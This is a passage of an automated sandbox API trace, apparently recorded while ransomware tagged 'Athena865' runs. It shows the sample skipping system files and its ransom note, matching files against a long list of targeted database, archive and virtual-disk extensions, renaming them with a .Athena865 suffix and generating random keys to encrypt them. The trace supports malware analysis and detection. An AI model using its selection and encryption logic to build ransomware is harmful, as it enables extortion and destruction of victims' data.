[0107.128] lstrlenW (lpString="pnz") returned 3 [0107.128] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0107.128] lstrlenW (lpString="qry") returned 3 [0107.128] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0107.128] lstrlenW (lpString="qvd") returned 3 [0107.128] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0107.128] lstrlenW (lpString="rbf") returned 3 [0107.128] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0107.128] lstrlenW (lpString="rctd") returned 4 [0107.128] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0107.128] lstrlenW (lpString="rod") returned 3 [0107.128] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0107.128] lstrlenW (lpString="rodx") returned 4 [0107.128] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0107.129] lstrlenW (lpString="rpd") returned 3 [0107.129] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0107.129] lstrlenW (lpString="rsd") returned 3 [0107.129] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0107.129] lstrlenW (lpString="sas7bdat") returned 8 [0107.129] lstrcmpiW (lpString1="filt.dll", lpString2="sas7bdat") returned -1 [0107.129] lstrlenW (lpString="sbf") returned 3 [0107.129] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0107.129] lstrlenW (lpString="scx") returned 3 [0107.129] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0107.129] lstrlenW (lpString="sdb") returned 3 [0107.129] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0107.129] lstrlenW (lpString="sdc") returned 3 [0107.129] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0107.129] lstrlenW (lpString="sdf") returned 3 [0107.129] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0107.129] lstrlenW (lpString="sis") returned 3 [0107.129] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0107.129] lstrlenW (lpString="spq") returned 3 [0107.129] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0107.129] lstrlenW (lpString="te") returned 2 [0107.129] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0107.129] lstrlenW (lpString="teacher") returned 7 [0107.129] lstrcmpiW (lpString1="ilt.dll", lpString2="teacher") returned -1 [0107.129] lstrlenW (lpString="tmd") returned 3 [0107.129] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0107.129] lstrlenW (lpString="tps") returned 3 [0107.129] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0107.129] lstrlenW (lpString="trc") returned 3 [0107.129] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0107.129] lstrlenW (lpString="trc") returned 3 [0107.130] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0107.130] lstrlenW (lpString="trm") returned 3 [0107.130] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0107.130] lstrlenW (lpString="udb") returned 3 [0107.130] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0107.130] lstrlenW (lpString="udl") returned 3 [0107.130] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0107.130] lstrlenW (lpString="usr") returned 3 [0107.130] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0107.130] lstrlenW (lpString="v12") returned 3 [0107.130] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0107.130] lstrlenW (lpString="vis") returned 3 [0107.130] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0107.130] lstrlenW (lpString="vpd") returned 3 [0107.130] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0107.130] lstrlenW (lpString="vvv") returned 3 [0107.130] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0107.130] lstrlenW (lpString="wdb") returned 3 [0107.130] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0107.130] lstrlenW (lpString="wmdb") returned 4 [0107.130] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0107.130] lstrlenW (lpString="wrk") returned 3 [0107.130] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0107.130] lstrlenW (lpString="xdb") returned 3 [0107.130] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0107.130] lstrlenW (lpString="xld") returned 3 [0107.130] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0107.130] lstrlenW (lpString="xmlff") returned 5 [0107.130] lstrcmpiW (lpString1="t.dll", lpString2="xmlff") returned -1 [0107.130] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.Athena865") returned 76 [0107.131] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.athena865"), dwFlags=0x1) returned 1 [0107.132] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0107.133] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=38768) returned 1 [0107.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0107.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0107.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0107.133] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0107.134] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0107.134] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.134] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9a70, lpName=0x0) returned 0x17c [0107.135] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9a70) returned 0x100000 [0107.138] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0107.138] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0107.138] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.139] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0107.139] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0107.139] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0107.139] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0107.139] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.139] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0107.139] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0107.139] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0107.139] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.139] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0107.139] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0107.140] CloseHandle (hObject=0x17c) returned 1 [0107.140] CloseHandle (hObject=0x154) returned 1 [0107.140] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0107.140] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0107.140] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0107.140] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0107.140] lstrcmpiW (lpString1="odffilt.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0107.140] lstrcmpiW (lpString1="odffilt.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0107.140] lstrcmpiW (lpString1="odffilt.dll", lpString2=".") returned 1 [0107.140] lstrcmpiW (lpString1="odffilt.dll", lpString2="..") returned 1 [0107.140] lstrcmpiW (lpString1="odffilt.dll", lpString2="windows") returned -1 [0107.140] lstrcmpiW (lpString1="odffilt.dll", lpString2="bootmgr") returned 1 [0107.140] lstrcmpiW (lpString1="odffilt.dll", lpString2="temp") returned -1 [0107.140] lstrcmpiW (lpString1="odffilt.dll", lpString2="pagefile.sys") returned -1 [0107.140] lstrcmpiW (lpString1="odffilt.dll", lpString2="boot") returned 1 [0107.140] lstrcmpiW (lpString1="odffilt.dll", lpString2="ids.txt") returned 1 [0107.140] lstrcmpiW (lpString1="odffilt.dll", lpString2="ntuser.dat") returned 1 [0107.141] lstrcmpiW (lpString1="odffilt.dll", lpString2="perflogs") returned -1 [0107.141] lstrcmpiW (lpString1="odffilt.dll", lpString2="MSBuild") returned 1 [0107.141] lstrlenW (lpString="odffilt.dll") returned 11 [0107.141] lstrcpyW (in: lpString1=0x241e8b6, lpString2="odffilt.dll" | out: lpString1="odffilt.dll") returned="odffilt.dll" [0107.141] lstrlenW (lpString="odffilt.dll") returned 11 [0107.141] lstrlenW (lpString="Athena865") returned 9 [0107.141] lstrcmpiW (lpString1="ffilt.dll", lpString2="Athena865") returned 1 [0107.141] lstrlenW (lpString=".dll") returned 4 [0107.141] lstrcmpiW (lpString1="odffilt.dll", lpString2=".dll") returned 1 [0107.141] lstrlenW (lpString=".lnk") returned 4 [0107.141] lstrcmpiW (lpString1="odffilt.dll", lpString2=".lnk") returned 1 [0107.141] lstrlenW (lpString=".ini") returned 4 [0107.141] lstrcmpiW (lpString1="odffilt.dll", lpString2=".ini") returned 1 [0107.141] lstrlenW (lpString=".sys") returned 4 [0107.141] lstrcmpiW (lpString1="odffilt.dll", lpString2=".sys") returned 1 [0107.141] lstrlenW (lpString="odffilt.dll") returned 11 [0107.141] lstrlenW (lpString="bak") returned 3 [0107.141] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0107.141] lstrlenW (lpString="ba_") returned 3 [0107.141] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0107.141] lstrlenW (lpString="dbb") returned 3 [0107.141] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0107.141] lstrlenW (lpString="vmdk") returned 4 [0107.141] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0107.141] lstrlenW (lpString="rar") returned 3 [0107.141] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0107.141] lstrlenW (lpString="zip") returned 3 [0107.141] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0107.141] lstrlenW (lpString="tgz") returned 3 [0107.141] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0107.141] lstrlenW (lpString="vbox") returned 4 [0107.142] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0107.142] lstrlenW (lpString="vdi") returned 3 [0107.142] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0107.142] lstrlenW (lpString="vhd") returned 3 [0107.142] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0107.142] lstrlenW (lpString="vhdx") returned 4 [0107.142] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0107.142] lstrlenW (lpString="avhd") returned 4 [0107.142] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0107.142] lstrlenW (lpString="db") returned 2 [0107.142] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0107.142] lstrlenW (lpString="db2") returned 3 [0107.142] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0107.142] lstrlenW (lpString="db3") returned 3 [0107.142] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0107.142] lstrlenW (lpString="dbf") returned 3 [0107.142] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0107.142] lstrlenW (lpString="mdf") returned 3 [0107.142] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0107.142] lstrlenW (lpString="mdb") returned 3 [0107.142] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0107.142] lstrlenW (lpString="sql") returned 3 [0107.142] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0107.142] lstrlenW (lpString="sqlite") returned 6 [0107.142] lstrcmpiW (lpString1="lt.dll", lpString2="sqlite") returned -1 [0107.142] lstrlenW (lpString="sqlite3") returned 7 [0107.142] lstrcmpiW (lpString1="ilt.dll", lpString2="sqlite3") returned -1 [0107.142] lstrlenW (lpString="sqlitedb") returned 8 [0107.142] lstrcmpiW (lpString1="filt.dll", lpString2="sqlitedb") returned -1 [0107.142] lstrlenW (lpString="xml") returned 3 [0107.142] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0107.142] lstrlenW (lpString="$er") returned 3 [0107.143] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0107.143] lstrlenW (lpString="4dd") returned 3 [0107.143] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0107.143] lstrlenW (lpString="4dl") returned 3 [0107.143] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0107.143] lstrlenW (lpString="^^^") returned 3 [0107.143] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0107.143] lstrlenW (lpString="abs") returned 3 [0107.143] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0107.143] lstrlenW (lpString="abx") returned 3 [0107.143] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0107.143] lstrlenW (lpString="accdb") returned 5 [0107.143] lstrcmpiW (lpString1="t.dll", lpString2="accdb") returned 1 [0107.143] lstrlenW (lpString="accdc") returned 5 [0107.143] lstrcmpiW (lpString1="t.dll", lpString2="accdc") returned 1 [0107.143] lstrlenW (lpString="accde") returned 5 [0107.143] lstrcmpiW (lpString1="t.dll", lpString2="accde") returned 1 [0107.143] lstrlenW (lpString="accdr") returned 5 [0107.143] lstrcmpiW (lpString1="t.dll", lpString2="accdr") returned 1 [0107.143] lstrlenW (lpString="accdt") returned 5 [0107.143] lstrcmpiW (lpString1="t.dll", lpString2="accdt") returned 1 [0107.143] lstrlenW (lpString="accdw") returned 5 [0107.143] lstrcmpiW (lpString1="t.dll", lpString2="accdw") returned 1 [0107.143] lstrlenW (lpString="accft") returned 5 [0107.143] lstrcmpiW (lpString1="t.dll", lpString2="accft") returned 1 [0107.143] lstrlenW (lpString="adb") returned 3 [0107.143] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0107.143] lstrlenW (lpString="adb") returned 3 [0107.143] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0107.144] lstrlenW (lpString="ade") returned 3 [0107.144] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0107.144] lstrlenW (lpString="adf") returned 3 [0107.144] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0107.144] lstrlenW (lpString="adn") returned 3 [0107.144] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0107.144] lstrlenW (lpString="adp") returned 3 [0107.144] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0107.144] lstrlenW (lpString="alf") returned 3 [0107.144] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0107.144] lstrlenW (lpString="ask") returned 3 [0107.144] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0107.144] lstrlenW (lpString="btr") returned 3 [0107.144] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0107.144] lstrlenW (lpString="cat") returned 3 [0107.144] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0107.144] lstrlenW (lpString="cdb") returned 3 [0107.144] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0107.144] lstrlenW (lpString="ckp") returned 3 [0107.144] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0107.144] lstrlenW (lpString="cma") returned 3 [0107.144] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0107.144] lstrlenW (lpString="cpd") returned 3 [0107.144] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0107.144] lstrlenW (lpString="dacpac") returned 6 [0107.144] lstrcmpiW (lpString1="lt.dll", lpString2="dacpac") returned 1 [0107.144] lstrlenW (lpString="dad") returned 3 [0107.144] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0107.144] lstrlenW (lpString="dadiagrams") returned 10 [0107.144] lstrcmpiW (lpString1="dffilt.dll", lpString2="dadiagrams") returned 1 [0107.144] lstrlenW (lpString="daschema") returned 8 [0107.144] lstrcmpiW (lpString1="filt.dll", lpString2="daschema") returned 1 [0107.145] lstrlenW (lpString="db-journal") returned 10 [0107.145] lstrcmpiW (lpString1="dffilt.dll", lpString2="db-journal") returned 1 [0107.145] lstrlenW (lpString="db-shm") returned 6 [0107.145] lstrcmpiW (lpString1="lt.dll", lpString2="db-shm") returned 1 [0107.145] lstrlenW (lpString="db-wal") returned 6 [0107.145] lstrcmpiW (lpString1="lt.dll", lpString2="db-wal") returned 1 [0107.145] lstrlenW (lpString="dbc") returned 3 [0107.145] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0107.145] lstrlenW (lpString="dbs") returned 3 [0107.145] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0107.145] lstrlenW (lpString="dbt") returned 3 [0107.145] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0107.145] lstrlenW (lpString="dbv") returned 3 [0107.145] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0107.145] lstrlenW (lpString="dbx") returned 3 [0107.145] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0107.145] lstrlenW (lpString="dcb") returned 3 [0107.145] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0107.145] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0107.145] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.Athena865") returned 76 [0107.145] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.athena865"), dwFlags=0x1) returned 1 [0107.146] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0107.146] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1312656) returned 1 [0107.146] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0107.147] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0107.147] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0107.147] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0107.148] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0107.148] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.148] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x140a90, lpName=0x0) returned 0x17c [0107.149] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x140a90) returned 0x2d50000 [0107.209] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0107.210] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0107.210] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.210] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0107.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0107.210] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0107.210] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0107.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.210] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0107.210] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0107.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0107.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0107.210] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0107.223] CloseHandle (hObject=0x17c) returned 1 [0107.223] CloseHandle (hObject=0x154) returned 1 [0107.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0107.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0107.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0107.229] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0107.229] lstrcmpiW (lpString1="offfiltx.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0107.229] lstrcmpiW (lpString1="offfiltx.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0107.229] lstrcmpiW (lpString1="offfiltx.dll", lpString2=".") returned 1 [0107.229] lstrcmpiW (lpString1="offfiltx.dll", lpString2="..") returned 1 [0107.229] lstrcmpiW (lpString1="offfiltx.dll", lpString2="windows") returned -1 [0107.229] lstrcmpiW (lpString1="offfiltx.dll", lpString2="bootmgr") returned 1 [0107.229] lstrcmpiW (lpString1="offfiltx.dll", lpString2="temp") returned -1 [0107.229] lstrcmpiW (lpString1="offfiltx.dll", lpString2="pagefile.sys") returned -1 [0107.229] lstrcmpiW (lpString1="offfiltx.dll", lpString2="boot") returned 1 [0107.229] lstrcmpiW (lpString1="offfiltx.dll", lpString2="ids.txt") returned 1 [0107.229] lstrcmpiW (lpString1="offfiltx.dll", lpString2="ntuser.dat") returned 1 [0107.229] lstrcmpiW (lpString1="offfiltx.dll", lpString2="perflogs") returned -1 [0107.229] lstrcmpiW (lpString1="offfiltx.dll", lpString2="MSBuild") returned 1 [0107.229] lstrlenW (lpString="offfiltx.dll") returned 12 [0107.229] lstrcpyW (in: lpString1=0x241e8b6, lpString2="offfiltx.dll" | out: lpString1="offfiltx.dll") returned="offfiltx.dll" [0107.229] lstrlenW (lpString="offfiltx.dll") returned 12 [0107.229] lstrlenW (lpString="Athena865") returned 9 [0107.229] lstrcmpiW (lpString1="filtx.dll", lpString2="Athena865") returned 1 [0107.229] lstrlenW (lpString=".dll") returned 4 [0107.229] lstrcmpiW (lpString1="offfiltx.dll", lpString2=".dll") returned 1 [0107.229] lstrlenW (lpString=".lnk") returned 4 [0107.229] lstrcmpiW (lpString1="offfiltx.dll", lpString2=".lnk") returned 1 [0107.229] lstrlenW (lpString=".ini") returned 4 [0107.230] lstrcmpiW (lpString1="offfiltx.dll", lpString2=".ini") returned 1 [0107.230] lstrlenW (lpString=".sys") returned 4 [0107.230] lstrcmpiW (lpString1="offfiltx.dll", lpString2=".sys") returned 1 [0107.230] lstrlenW (lpString="offfiltx.dll") returned 12 [0107.230] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.Athena865") returned 77 [0107.230] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.athena865"), dwFlags=0x1) returned 1 [0107.231] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0107.231] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1486736) returned 1 [0107.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0107.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0107.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0107.232] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0107.232] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0107.233] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.233] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16b290, lpName=0x0) returned 0x17c [0107.234] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16b290) returned 0x2d50000 [0107.283] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) 